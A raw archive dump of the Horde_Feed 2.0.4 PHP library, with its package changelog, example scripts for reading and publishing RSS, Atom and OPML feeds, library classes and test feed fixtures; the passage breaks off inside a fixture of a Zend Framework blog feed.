package.xml0000664000175000017500000021641612653701627011322 0ustar janjan Horde_Feed pear.horde.org Horde Feed libraries Support for working with feed formats such as RSS and Atom. Chuck Hagenbuch chuck chuck@horde.org yes 2016-02-01 2.0.4 1.1.0 stable stable BSD-2-Clause * [jan] Mark PHP 7 as supported. 5.3.0 8.0.0alpha1 8.0.0alpha1 1.7.0 Horde_Exception pear.horde.org 2.0.0 3.0.0alpha1 3.0.0alpha1 Horde_Http pear.horde.org 2.0.0 3.0.0alpha1 3.0.0alpha1 Horde_Xml_Element pear.horde.org 2.0.0 3.0.0alpha1 3.0.0alpha1 dom Horde_Test pear.horde.org 2.1.0 3.0.0alpha1 3.0.0alpha1 1.0.0alpha1 1.0.0 alpha alpha 2011-03-08 BSD-2-Clause * First alpha release for Horde 4. * More robust parsing (recover from XML errors, fall back to HTML parsing) * Return content:encoded when the content element is requested from an RSS entry * Find <item> elements outside the <channel> element (i.e., RSS 1.0) * Optionally send PUT and DELETE requests as POST (HTTP-Method-Override) * Support redirects in DELETE requests 1.0.0beta1 1.0.0 beta beta 2011-03-16 BSD-2-Clause * First beta release for Horde 4. 1.0.0RC1 1.0.0 beta beta 2011-03-22 BSD-2-Clause * First release candidate for Horde 4. 1.0.0RC2 1.0.0 beta beta 2011-03-29 BSD-2-Clause * Second release candidate for Horde 4. * [jan] Fix loading of local files with non-URI characters in the file name. * [jan] Fix converting of libxml errors to exceptions. 1.0.0 1.0.0 stable stable 2011-04-06 BSD-2-Clause * First stable release for Horde 4. 1.1.0 1.1.0 stable stable 2011-06-01 BSD-2-Clause * [gwr] Added an example on how to post to blogger.com. * [gwr] Support additional request headers when updating Atom entries. 1.1.1 1.1.0 stable stable 2011-11-22 BSD-2-Clause * [jan] Fix tests to work with PHPUnit 3.6. 2.0.0alpha1 1.1.0 alpha stable 2012-07-05 BSD-2-Clause * First alpha release for Horde 5. 2.0.0beta1 1.1.0 beta stable 2012-07-19 BSD-2-Clause * First beta release for Horde 5. 2.0.0 1.1.0 stable stable 2012-10-30 BSD-2-Clause * First stable release for Horde 5. 2.0.1 1.1.0 stable stable 2012-11-19 BSD-2-Clause * [mms] Use new Horde_Test layout. 2.0.2 1.1.0 stable stable 2014-05-02 BSD-2-Clause * [jan] Fix loading of local files with basedir restrictions or libxml entity loading disabled. 2.0.3 1.1.0 stable stable 2015-01-08 BSD-2-Clause * [jan] Improve PSR-2 compatibility. 2.0.4 1.1.0 stable stable 2016-02-01 BSD-2-Clause * [jan] Mark PHP 7 as supported. Horde_Feed-2.0.4/doc/Horde/Feed/examples/blogger.php0000664000175000017500000000375512653701626020250 0ustar janjanpost( 'https://www.google.com/accounts/ClientLogin', 'accountType=GOOGLE&service=blogger&source=horde-feed-blogger-example-1&Email=' . $username . '&Passwd=' . $password, array('Content-type', 'application/x-www-form-urlencoded') ); if ($response->code !== 200) { throw new Horde_Feed_Exception('Expected response code 200, got ' . $response->code); } } catch (Horde_Feed_Exception $e) { die('An error occurred authenticating: ' . $e->getMessage() . "\n"); } $auth = null; foreach (explode("\n", $response->getBody()) as $line) { $param = explode('=', $line); if ($param[0] == 'Auth') { $auth = $param[1]; } } if (empty($auth)) { throw new Horde_Feed_Exception('Missing authentication token in the response!'); } /* The base feed URI is the same as the POST URI, so just supply the * Horde_Feed_Entry_Atom object with that. */ $entry = new Horde_Feed_Entry_Atom(); /* Give the entry its initial values. */ $entry->{'atom:title'} = 'Entry 1'; $entry->{'atom:title'}['type'] = 'text'; $entry->{'atom:content'} = '1.1'; $entry->{'atom:content'}['type'] = 'text'; /* Do the initial post. */ try { $entry->save($blogUri, array('Authorization' => 'GoogleLogin auth=' . $auth)); } catch (Horde_Feed_Exception $e) { die('An error occurred posting: ' . $e->getMessage() . "\n"); } /* $entry will be filled in with any elements returned by the * server (id, updated, link rel="edit", etc). */ echo "new id is: {$entry->id()}\n"; echo "entry last updated at: {$entry->updated()}\n"; echo "edit the entry at: {$entry->edit()}\n"; Horde_Feed-2.0.4/doc/Horde/Feed/examples/blogroll.php0000664000175000017500000000114412653701626020431 0ustar janjan#!/usr/bin/env php "%prog opml_url\n\nExample:\n%prog subscriptions.opml", )); list($values, $args) = $p->parseArgs(); if (count($args) != 1) { $p->printHelp(); exit(1); } $blogroll = Horde_Feed::readFile($args[0]); echo $blogroll->title . "\n\n"; foreach ($blogroll as $blog) { $feed = $blog->getFeed(); echo $feed->title . "\n\n"; foreach ($feed as $entry) { echo "$entry->title\n"; } echo "\n\n"; } exit(0); Horde_Feed-2.0.4/doc/Horde/Feed/examples/delete.php0000664000175000017500000000153512653701626020063 0ustar janjangetMessage() . "\n"); } /* We want to delete all entries that are two weeks old. */ $twoWeeksAgo = strtotime('-2 weeks'); foreach ($feed as $entry) { /* Check the updated timestamp. */ if (strtotime($entry->updated) >= $twoWeeksAgo) { continue; } /* Deleting the old posts is easy. */ try { $entry->delete(); } catch (Horde_Feed_Exception $e) { die('An error occurred deleting feed entries: ' . $e->getMessage() . "\n"); } } Horde_Feed-2.0.4/doc/Horde/Feed/examples/edit.php0000664000175000017500000000217312653701626017545 0ustar janjangetMessage() . "\n"); } /* Grab the first entry in the feed. */ foreach ($feed as $entry) { break; } /* Display the entry's unchanged state. */ echo "entry last updated at: {$entry->updated()}\n"; echo "current EditURI is: {$entry->edit()}\n"; /* Just change the entry's properties directly. */ $entry->content = 'This is an updated post.'; /* Then save the changes. */ try { $entry->save(); } catch (Horde_Feed_Exception $e) { die('An error occurred saving changes: ' . $e->getMessage() . "\n"); } /* Display the new state. The updated time and edit URI will have been * updated by the server, and $entry automatically picks up those * changes. */ echo "entry last updated at: {$entry->updated()}\n"; echo "new EditURI is: {$entry->edit()}\n"; Horde_Feed-2.0.4/doc/Horde/Feed/examples/post.php0000664000175000017500000000502312653701626017602 0ustar janjantitle = 'Entry 1'; $entry->content = '1.1'; $entry->content['type'] = 'text'; /* Do the initial post. */ try { $entry->save(); } catch (Horde_Feed_Exception $e) { die('An error occurred posting: ' . $e->getMessage() . "\n"); } /* $entry will be filled in with any elements returned by the * server (id, updated, link rel="edit", etc). */ echo "new id is: {$entry->id()}\n"; echo "entry last updated at: {$entry->updated()}\n"; echo "edit the entry at: {$entry->edit()}\n"; /* Using namespaces: create an entry with myns:updated using the base * Horde_Feed_Entry_Atom class. */ $myfeeduri = 'http://www.example.com/nsfeed/'; $entry = new Horde_Feed_Entry_Atom($nsfeeduri); Horde_Xml_Element::registerNamespace('myns', 'http://www.example.com/myns/'); $entry->{'myns:updated'} = '2005-04-19T15:30'; $entry->save(); /* Using namespaces, but with a custom Entry class: */ /** * The custom feed class ensures that when you access this feed, the objects * returned are MyEntry objects. */ class MyFeed extends Horde_Feed_Atom { protected $_entryClassName = 'MyEntry'; } /** * The custom entry class automatically knows the feed URI (optional) and * can automatically add extra namespaces. */ class MyEntry extends Horde_Feed_Entry_Atom { public function __construct($uri = 'http://www.example.com/myfeed/', $xml = null) { parent::__construct($uri, $xml); Horde_Xml_Element::registerNamespace('myns', 'http://www.example.com/myns/'); } public function __get($var) { switch ($var) { case 'myUpdated': // Translate myUpdated to myns:updated. return parent::__get('myns:updated'); } return parent::__get($var); } public function __set($var, $value) { switch ($var) { case 'myUpdated': // Translate myUpdated to myns:updated. return parent::__set('myns:updated', $value); } return parent::__set($var, $value); } } // Now we just need to create the class and set myUpdated. $entry = new MyEntry(); $entry->myUpdated = '2005-04-19T15:30'; $entry->save(); Horde_Feed-2.0.4/doc/Horde/Feed/examples/read.php0000664000175000017500000000177512653701626017542 0ustar janjangetMessage() . "\n"); } /* You can iterate over the entries in the feed simply by * iterating over the feed itself. */ foreach ($feed as $entry) { echo "title: {$entry->title()}\n"; if ($entry->author->name()) { echo "author: {$entry->author->name()}\n"; } echo "description:\n{$entry->description()}\n\n"; } /* The properties of the feed itself are available through * regular member variable access: */ echo "feed title: {$feed->title()}\n"; if ($feed->author->name()) { echo "feed author: $feed->author->name()\n"; } foreach ($feed->link as $link) { echo "link: {$link['href']}\n"; } Horde_Feed-2.0.4/doc/Horde/Feed/examples/reader.php0000664000175000017500000000106112653701626020055 0ustar janjan#!/usr/bin/env php "%prog feed_url\n\nExample:\n%prog http://graphics8.nytimes.com/services/xml/rss/nyt/HomePage.xml", )); list($values, $args) = $p->parseArgs(); if (count($args) != 1) { $p->printHelp(); exit(1); } $feed = Horde_Feed::readUri($args[0]); echo count($feed) . " entries:\n\n"; foreach ($feed as $i => $entry) { echo ($i + 1) . '. ' . $entry->title() . "\n"; } exit(0); Horde_Feed-2.0.4/doc/Horde/Feed/COPYING0000664000175000017500000000243012653701626015320 0ustar janjan Copyright 1999-2016 Horde LLC. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE HORDE PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Horde_Feed-2.0.4/lib/Horde/Feed/Entry/Atom.php0000664000175000017500000001477112653701626017013 0ustar janjan'; /** * Name of the XML element for Atom entries. Subclasses can * override this to something other than "entry" if necessary. * * @var string */ protected $_entryElementName = 'entry'; /** * Delete an atom entry. * * Delete tries to delete this entry from its feed. If the entry * does not contain a link rel="edit", we throw an error (either * the entry does not yet exist or this is not an editable * feed). If we have a link rel="edit", we do the empty-body * HTTP DELETE to that URI and check for a response of 2xx. * Usually the response would be 204 No Content, but the Atom * Publishing Protocol permits it to be 200 OK. * * @throws Horde_Feed_Exception If an error occurs, an Horde_Feed_Exception will * be thrown. */ public function delete() { // Look for link rel="edit" in the entry object. $deleteUri = $this->link('edit'); if (!$deleteUri) { throw new Horde_Feed_Exception('Cannot delete entry; no link rel="edit" is present.'); } // DELETE do { $response = $this->_httpClient->delete($deleteUri); switch ((int)$response->code / 100) { // Success case 2: return true; // Redirect case 3: $deleteUri = $response->getHeader('Location'); continue; // Error default: throw new Horde_Feed_Exception('Expected response code 2xx, got ' . $response->code); } } while (true); } /** * Save a new or updated Atom entry. * * Save is used to either create new entries or to save changes to existing * ones. If we have a link rel="edit", we are changing an existing entry. In * this case we re-serialize the entry and PUT it to the edit URI, checking * for a 200 OK result. * * For posting new entries, you must specify the $postUri parameter to * save() to tell the object where to post itself. We use $postUri and POST * the serialized entry there, checking for a 201 Created response. If the * insert is successful, we then parse the response from the POST to get any * values that the server has generated: an id, an updated time, and its new * link rel="edit". * * @param string $postUri Location to POST for creating new entries. * @param array $headers Additional headers to transmit while posting. * * @throws Horde_Feed_Exception If an error occurs, a Horde_Feed_Exception * will be thrown. */ public function save($postUri = null, $headers = array()) { $headers = array_merge( array('Content-Type' => 'application/atom+xml'), $headers ); if ($this->id()) { // If id is set, look for link rel="edit" in the // entry object and PUT. $editUri = $this->link('edit'); if (!$editUri) { throw new Horde_Feed_Exception('Cannot edit entry; no link rel="edit" is present.'); } $response = $this->_httpClient->put($editUri, $this->saveXml(), $headers); if ($response->code !== 200) { throw new Horde_Feed_Exception('Expected response code 200, got ' . $response->code); } } else { if ($postUri === null) { throw new Horde_Feed_Exception('PostURI must be specified to save new entries.'); } $response = $this->_httpClient->post($postUri, $this->saveXml(), $headers); if ($response->code !== 201) { throw new Horde_Feed_Exception('Expected response code 201, got ' . $response->code); } } // Update internal properties using the response body. $body = $response->getBody(); $newEntry = new DOMDocument; $parsed = @$newEntry->loadXML($body); if (!$parsed) { throw new Horde_Feed_Exception('DOMDocument cannot parse XML: ', error_get_last()); } $newEntry = $newEntry->getElementsByTagName($this->_entryElementName)->item(0); if (!$newEntry) { throw new Horde_Feed_Exception('No root element found in server response:' . "\n\n" . $body); } if ($this->_element->parentNode) { $oldElement = $this->_element; $this->_element = $oldElement->ownerDocument->importNode($newEntry, true); $oldElement->parentNode->replaceChild($this->_element, $oldElement); } else { $this->_element = $newEntry; } $this->_expireCachedChildren(); } /** * Easy access to tags keyed by "rel" attributes. * @TODO rationalize this with other __get/__call access * * If $elt->link() is called with no arguments, we will attempt to * return the value of the tag(s) like all other * method-syntax attribute access. If an argument is passed to * link(), however, then we will return the "href" value of the * first tag that has a "rel" attribute matching $rel: * * $elt->link(): returns the value of the link tag. * $elt->link('self'): returns the href from the first in the entry. * * @param string $rel The "rel" attribute to look for. * @return mixed */ public function link($rel = null) { if ($rel === null) { return parent::__call('link', null); } // index link tags by their "rel" attribute. $links = parent::__get('link'); if (!is_array($links)) { if ($links instanceof Horde_Xml_Element) { $links = array($links); } else { return $links; } } foreach ($links as $link) { if (empty($link['rel'])) { continue; } if ($rel == $link['rel']) { return $link['href']; } } return null; } } Horde_Feed-2.0.4/lib/Horde/Feed/Entry/Base.php0000664000175000017500000000301012653701626016745 0ustar janjan_element by initializing * with $this->_emptyXml, and importing the array with * Horde_Xml_Element::fromArray() if necessary. * * @see Horde_Xml_Element::__wakeup * @see Horde_Xml_Element::fromArray */ public function __construct($element = null, Horde_Http_Client $httpClient = null) { $this->_element = $element; if (is_null($httpClient)) { $httpClient = new Horde_Http_Client(); } $this->_httpClient = $httpClient; // If we've been passed an array, we'll store it for importing // after initializing with the default "empty" feed XML. $importArray = null; if (is_null($this->_element)) { $this->_element = $this->_emptyXml; } elseif (is_array($this->_element)) { $importArray = $this->_element; $this->_element = $this->_emptyXml; } $this->__wakeup(); if (!is_null($importArray)) { $this->fromArray($importArray); } } } Horde_Feed-2.0.4/lib/Horde/Feed/Entry/Blogroll.php0000664000175000017500000000417512653701626017664 0ustar janjan * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Feed */ /** * Concrete class for working with Blogroll elements. * * @author Chuck Hagenbuch * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Feed */ class Horde_Feed_Entry_Blogroll extends Horde_Feed_Entry_Base { /** * The XML string for an "empty" outline element. * * @var string */ protected $_emptyXml = ''; /** * Get a Horde_Feed object for the feed described by this outline element. * * @return Horde_Feed_Base */ public function getFeed() { if (!$this['xmlUrl']) { throw new Horde_Feed_Exception('No XML URL in element'); } return Horde_Feed::readUri($this['xmlUrl']); } /** * Add child elements and attributes to this element from a simple key => * value hash. Because feed list outline elements only use attributes, this * overrides Horde_Xml_Element#fromArray to set attributes whether the * #Attribute syntax is used or not. * * @see Horde_Xml_Element#fromArray * * @param $array Hash to import into this element. */ public function fromArray($array) { foreach ($array as $key => $value) { $attribute = $key; if (substr($attribute, 0, 1) == '#') { $attribute = substr($attribute, 1); } $this[$attribute] = $value; } } /** * Always use attributes instead of child nodes. * * @param string $var The property to access. * @return mixed */ public function __get($var) { return $this->offsetGet($var); } /** * Always use attributes instead of child nodes. * * @param string $var The property to change. * @param string $val The property's new value. */ public function __set($var, $val) { return $this->offsetSet($var, $val); } } Horde_Feed-2.0.4/lib/Horde/Feed/Entry/Rss.php0000664000175000017500000000164612653701626016657 0ustar janjan'; /** * Return encoded content if it's present. * * @return string */ public function getContent() { if (isset($this->_children['content:encoded'])) { return $this->_children['content:encoded']; } elseif (isset($this->_children['encoded'])) { return $this->_children['encoded']; } return isset($this->_children['content']) ? $this->_children['content'] : array(); } } Horde_Feed-2.0.4/lib/Horde/Feed/Atom.php0000664000175000017500000000564712653701626015714 0ustar janjan'; /** * Cache the individual feed elements so they don't need to be * searched for on every operation. * @return array */ protected function _buildListItemCache() { $entries = array(); foreach ($this->_element->childNodes as $child) { if ($child->localName == 'entry') { $entries[] = $child; } } return $entries; } /** * Easy access to tags keyed by "rel" attributes. * @TODO rationalize this with other __get/__call access * * If $elt->link() is called with no arguments, we will attempt to return * the value of the tag(s) like all other method-syntax attribute * access. If an argument is passed to link(), however, then we will return * the "href" value of the first tag that has a "rel" attribute * matching $rel: * * $elt->link(): returns the value of the link tag. * $elt->link('self'): returns the href from the first in the entry. * * @param string $rel The "rel" attribute to look for. * @return mixed */ public function link($rel = null) { if ($rel === null) { return parent::__call('link', null); } // Index link tags by their "rel" attribute. $links = parent::__get('link'); if (!is_array($links)) { if ($links instanceof Horde_Xml_Element) { $links = array($links); } else { return $links; } } foreach ($links as $link) { if (empty($link['rel'])) { continue; } if ($rel == $link['rel']) { return $link['href']; } } return null; } } Horde_Feed-2.0.4/lib/Horde/Feed/Base.php0000664000175000017500000000544412653701626015661 0ustar janjan_uri = $uri; if (is_null($httpClient)) { $httpClient = new Horde_Http_Client(); } $this->_httpClient = $httpClient; try { parent::__construct($xml); } catch (Horde_Xml_Element_Exception $e) { throw new Horde_Feed_Exception('Unable to load feed: ' . $e->getMessage()); } } /** * Handle null or array values for $this->_element by initializing * with $this->_emptyXml, and importing the array with * Horde_Xml_Element::fromArray() if necessary. * * @see Horde_Xml_Element::__wakeup * @see Horde_Xml_Element::fromArray */ public function __wakeup() { // If we've been passed an array, we'll store it for importing // after initializing with the default "empty" feed XML. $importArray = null; if (is_null($this->_element)) { $this->_element = $this->_emptyXml; } elseif (is_array($this->_element)) { $importArray = $this->_element; $this->_element = $this->_emptyXml; } parent::__wakeup(); if (!is_null($importArray)) { $this->fromArray($importArray); } } /** * Required by the Iterator interface. * * @internal * * @return mixed The current row, or null if no rows. */ public function current() { return new $this->_listItemClassName( $this->_listItems[$this->_listItemIndex], $this->_httpClient); } } Horde_Feed-2.0.4/lib/Horde/Feed/Blogroll.php0000664000175000017500000000324312653701626016556 0ustar janjan * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Feed */ /** * Blogroll feed list class * * This is not a generic OPML implementation, but one focused on lists of feeds, * i.e. blogrolls. See http://en.wikipedia.org/wiki/OPML for more information on * OPML. * * @author Chuck Hagenbuch * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Feed */ class Horde_Feed_Blogroll extends Horde_Feed_Base { /** * The classname for individual feed elements. * @var string */ protected $_listItemClassName = 'Horde_Feed_Entry_Blogroll'; /** * The default namespace for blogrolls. * @var string */ protected $_defaultNamespace = ''; /** * The XML string for an "empty" Blogroll. * @var string */ protected $_emptyXml = ''; /** * Cache outline elements so they don't need to be searched for on every * operation. */ protected function _buildListItemCache() { $entries = array(); foreach ($this->_element->getElementsByTagName('outline') as $child) { if ($child->attributes->getNamedItem('xmlUrl')) { $entries[] = $child; } } return $entries; } public function getBody() { return $this; } public function getOutline() { return $this; } public function getTitle() { return $this->head->title; } } Horde_Feed-2.0.4/lib/Horde/Feed/Exception.php0000664000175000017500000000024012653701626016732 0ustar janjan'; /** * Cache the individual feed elements so they don't need to be searched for * on every operation. * @return array */ protected function _buildListItemCache() { $items = array(); foreach ($this->_element->childNodes as $child) { if ($child->localName == 'item') { $items[] = $child; } } // Brute-force search for elements if we haven't found any so // far. if (!count($items)) { foreach ($this->_element->ownerDocument->getElementsByTagName('item') as $child) { $items[] = $child; } } return $items; } } Horde_Feed-2.0.4/lib/Horde/Feed.php0000664000175000017500000001225612653701626015006 0ustar janjan * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Feed */ /** * @author Chuck Hagenbuch * @license http://www.horde.org/licenses/bsd BSD * @category Horde * @package Feed */ class Horde_Feed { /** * Create a Feed object based on a DOMDocument. * * @param DOMDocument $doc The DOMDocument object to import. * * @throws Horde_Feed_Exception * * @return Horde_Feed_Base The feed object imported from $doc */ public static function create(DOMDocument $doc, $uri = null) { // Try to find the base feed element or a single of an // Atom feed. if ($feed = $doc->getElementsByTagName('feed')->item(0)) { // Return an Atom feed. return new Horde_Feed_Atom($feed, $uri); } elseif ($entry = $doc->getElementsByTagName('entry')->item(0)) { // Return an Atom single-entry feed. $feeddoc = new DOMDocument($doc->version, $doc->actualEncoding); $feed = $feeddoc->appendChild($feeddoc->createElement('feed')); $feed->appendChild($feeddoc->importNode($entry, true)); return new Horde_Feed_Atom($feed, $uri); } // Try to find the base feed element of an RSS feed. if ($channel = $doc->getElementsByTagName('channel')->item(0)) { // Return an RSS feed. return new Horde_Feed_Rss($channel, $uri); } // Try to find an outline element of an OPML blogroll. if ($outline = $doc->getElementsByTagName('outline')->item(0)) { // Return a blogroll feed. return new Horde_Feed_Blogroll($doc->documentElement, $uri); } // $doc does not appear to be a valid feed of the supported // types. throw new Horde_Feed_Exception('Invalid or unsupported feed format: ' . substr($doc->saveXML(), 0, 80) . '...'); } /** * Reads a feed represented by $string. * * @param string $string The XML content of the feed. * @param string $uri The feed's URI location, if known. * * @throws Horde_Feed_Exception * * @return Horde_Feed_Base */ public static function read($string, $uri = null) { // Load the feed as a DOMDocument object. libxml_use_internal_errors(true); $doc = new DOMDocument; $doc->recover = true; $loaded = $doc->loadXML($string); if (!$loaded) { $loaded = $doc->loadHTML($string); if (!$loaded) { self::_exception('DOMDocument cannot parse XML', libxml_get_last_error()); } } return self::create($doc); } /** * Read a feed located at $uri * * @param string $uri The URI to fetch the feed from. * @param Horde_Http_Client $httpclient The HTTP client to use. * * @throws Horde_Feed_Exception * * @return Horde_Feed_Base */ public static function readUri($uri, Horde_Http_Client $httpclient = null) { if (is_null($httpclient)) { $httpclient = new Horde_Http_Client(); } try { $response = $httpclient->get($uri); } catch (Horde_Http_Exception $e) { throw new Horde_Feed_Exception('Error reading feed: ' . $e->getMessage()); } if ($response->code != 200) { throw new Horde_Feed_Exception('Unable to read feed, got response code ' . $response->code); } $feed = $response->getBody(); return self::read($feed, $uri); } /** * Read a feed from $filename * * @param string $filename The location of the feed file on an accessible * filesystem or through an available stream wrapper. * * @throws Horde_Feed_Exception * * @return Horde_Feed_Base */ public static function readFile($filename) { libxml_use_internal_errors(true); $doc = new DOMDocument; $doc->recover = true; $contents = file_get_contents($filename); $loaded = $doc->loadXML($contents); if (!$loaded) { $loaded = $doc->loadHTML($contents); if (!$loaded) { self::_exception('File could not be read or parsed', libxml_get_last_error()); } } return self::create($doc); } /** * Builds an exception message from a libXMLError object. * * @param string $msg An error message. * @param libXMLError $error An error object. * * @throws Horde_Feed_Exception */ protected static function _exception($msg, $error) { if ($error) { $msg .= ': ' . $error->message; if ($error->file) { $msg .= sprintf(' in file %s, line %d, column %d', $error->file, $error->line, $error->column); } } throw new Horde_Feed_Exception($msg); } } Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/bbmaintenance_rss.xml0000664000175000017500000000345312653701626024216 0ustar janjan Schools Broadband: Planned Maintainance https://www.edulink.networcs.net/sites/broadband/Lists/Planned Maintainance/calendar.aspx RSS feed for the Planned Maintainance list. Mon, 16 Feb 2009 15:38:24 GMT Windows SharePoint Services V3 RSS Generator 60 Malvern Node Maintainance https://www.edulink.networcs.net/sites/broadband/Lists/Planned Maintainance/DispForm.aspx?ID=23 Location: Malvern Node
Start Time: 01/03/2009 00:00
End Time: 01/03/2009 23:59
Description: There will be planned work taking place, the following schools will be without a service - Upton-upon-Severn Primary School Disruption should be at a minimum as this is on a Sunday.
]]> Sheward, Mike (CS, IBS) Wed, 28 Jan 2009 08:32:15 GMT https://www.edulink.networcs.net/sites/broadband/Lists/Planned Maintainance/DispForm.aspx?ID=23 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-andigutmans.blogspot.com-atom.xml0000664000175000017500000034363112653701626027400 0ustar janjan tag:blogger.com,1999:blog-9272888Thu, 17 Jul 2008 20:50:41 +0000Andi on Web & IThttp://andigutmans.blogspot.com/noreply@blogger.com (Andi Gutmans)Blogger82125tag:blogger.com,1999:blog-9272888.post-7785418351126331568Thu, 17 Jul 2008 04:44:00 +00002008-07-16T21:44:41.764-07:00ZF Well Represented at SourceForge Awards<p>SourceForge will be presenting its <a href="http://sourceforge.net/community/cca08/">community choice awards</a> at <a href="http://en.oreilly.com/oscon2008/public/content/home">OSCON</a> again this year. The Zend Framework team will be watching closely, since no fewer than two (!) new ZF-based projects have made it in to the finals: Magento and Tine 2.0.</p> <p><a href="http://www.magentocommerce.com/">Magento</a> has been taking the eCommerce software world <a href="http://www.shopping-cart-reviews.com/blog/?p=38">by storm</a>. We&#8217;ve been hearing a lot about Magento as a well-designed and well-executed software product, but you&#8217;ve got to hand it to the Magento team for awesome community-focused resources like <a href="http://www.magentocommerce.com/magento-connect">Magento Connect</a>. I can only assume they built this stuff with all the development time ZF saved them. ;) Magento is a finalist in the following categories: Best Project for the Enterprise, Best New Project, Most Likely to Change the World &amp; Most Likely to Be the Next $1B Acquisition. Make sure you put in your vote <a href="http://sourceforge.net/community/cca08-vote">here</a>. Congrats, guys!</p> <p><a href="http://www.tine20.org/">Tine 2.0</a> is another big enterprise-oriented project, but focused on the intranet and collaboration. It&#8217;s also a full rewrite of the popular <a href="http://www.egroupware.org/">eGroupWare</a> project using Zend Framework to improve maintainability and stability, among other things. Tine 2.0 is a finalist in the Best New Project category. Way to go! </p> <p>One of our goals in building ZF was to provide a solid foundation upon which other project teams could build great software. I think Magento and Tine 2.0 are proof that we&#8217;ve had some impact here. It&#8217;s particularly nice to see the warm reception of ZF as a foundation for PHP best practices in the OS community. Who knows? Maybe next year you&#8217;ll be able to vote for ZF itself.</p> <p>Good luck to both projects!</p> <p>[Thanks to Wil Sinclair for contributing content for this post]</p> http://andigutmans.blogspot.com/2008/07/zf-well-represented-at-sourceforge.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-5777702180281781199Wed, 28 May 2008 04:55:00 +00002008-05-27T22:01:02.324-07:00Customer Support 2.0<p>A few days ago I downloaded Firefox 3.0 RC1. I am very excited about this upcoming release. Firefox 3.0 performs *way* better than the previous versions and has some nice usability tweaks. That said I've also suffered a fair amount of instability since the move and Twittered my frustration to the public:</p> <p><a href="http://lh4.ggpht.com/andigutmans/SDzls480OtI/AAAAAAAAAKM/JMC8G624Jsg/s1600-h/image%5B13%5D.png"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="52" alt="image" src="http://lh5.ggpht.com/andigutmans/SDzltI80OuI/AAAAAAAAAKY/-zNIPPRvbsw/image_thumb%5B7%5D.png?imgmax=800" width="426" border="0" /></a> </p> <p>Unexpectedly after a while I got a response back from user &quot;firefox_answers&quot;:</p> <p><a href="http://lh3.ggpht.com/andigutmans/SDzlto80OvI/AAAAAAAAAKk/EYAZIkeBCiA/s1600-h/image%5B9%5D.png"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="67" alt="image" src="http://lh4.ggpht.com/andigutmans/SDzlt480OwI/AAAAAAAAAKw/tE5b8KhMWBo/image_thumb%5B5%5D.png?imgmax=800" width="418" border="0" /></a> </p> <p>Now this is what I call Customer Support 2.0. I would have never actually logged a bug with Firefox nor would I have contacted them; Release Candidate or not. Most chances are that I would have just become a frustrated user. However, due to the fact that I was pro-actively engaged by folks watching Twitter not only would I most likely become a happy user but good chances that I would become a <a href="http://headrush.typepad.com/">passionate user</a>.</p> <p>Note: I checked with the Firefox team and it seems that @firefox_answers does not originate from them so there must already be some passionate users out there who have taken this initiative. Just shows how passionate users will be the first to help your company succeed.</p> <p>At Zend we do follow many of these types of media including Twitter and Blogs. While to my taste we still aren't pro-active enough in some areas there are several including Zend Framework where we've managed to more effectively engage the user base.</p> <p>I believe no company today big or small can afford not to take a pro-active stance on customer care. Even Comcast has started figuring this out and has become pro-active on <a href="http://twitter.com/comcastcares">Twitter</a>.</p> <p>Here are some links to get you started:</p> <p>- <a href="http://www.technorati.com/">Technorati</a> to watch the blogosphere</p> <p>- <a href="http://www.google.com/alerts">Google Alerts</a> to watch the more traditional Web (Web 1.0) </p> <p>- Watch Twitter with <a href="http://www.tweetscan.com/">Tweet Scan</a> or <a href="http://summize.com/">Summize</a></p> <p>In addition, make sure you encourage and empower your employees to engage in these types of conversations. I fully agree with <a href="http://tinyurl.com/4t26vg">James Governor</a> that companies like IBM would be much better served if they participated more pro-actively in the conversation. Better to have glitches once in a while and lots of passionate users then to try and fully control (usually unsuccessfully) all corporate communications.</p> <p>I am sure there are dozens of additional sites which help companies keep track of conversations related to them and their products. Please post additional pointers as comments to this post for the benefit of its readers.</p> <p> Now go and create many passionate users by engaging them more pro-actively!</p>http://andigutmans.blogspot.com/2008/05/customer-support-20.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-2508690202978780607Wed, 21 May 2008 15:00:00 +00002008-05-21T08:00:08.853-07:00Dojo and Zend Framework Partnership Announcement<p></p> <p><img height="77" src="http://skillsmatter.com/images/partner/dojo_logo.gif" width="96" align="right" /></p> <p>I am excited to announce a partnership between <a href="http://dojotoolkit.org/">Dojo</a> and <a href="http://framework.zend.com/">Zend Framework</a>. The goal is to deliver an out-of-the-box solution for building Ajax-based Web applications with Zend Framework. This is mainly targeted at users who rely on us to provide them with a best practice and an out-of-the-box experience for Ajax and don't want to have to deal with evaluating a solution (e.g. toolkits, licenses, etc.).</p> <p>A big thanks to Matthew Weier O'Phinney, architect on the ZF team, who is leading this effort from our side (yes, he will still need to go through our new proposal process. No 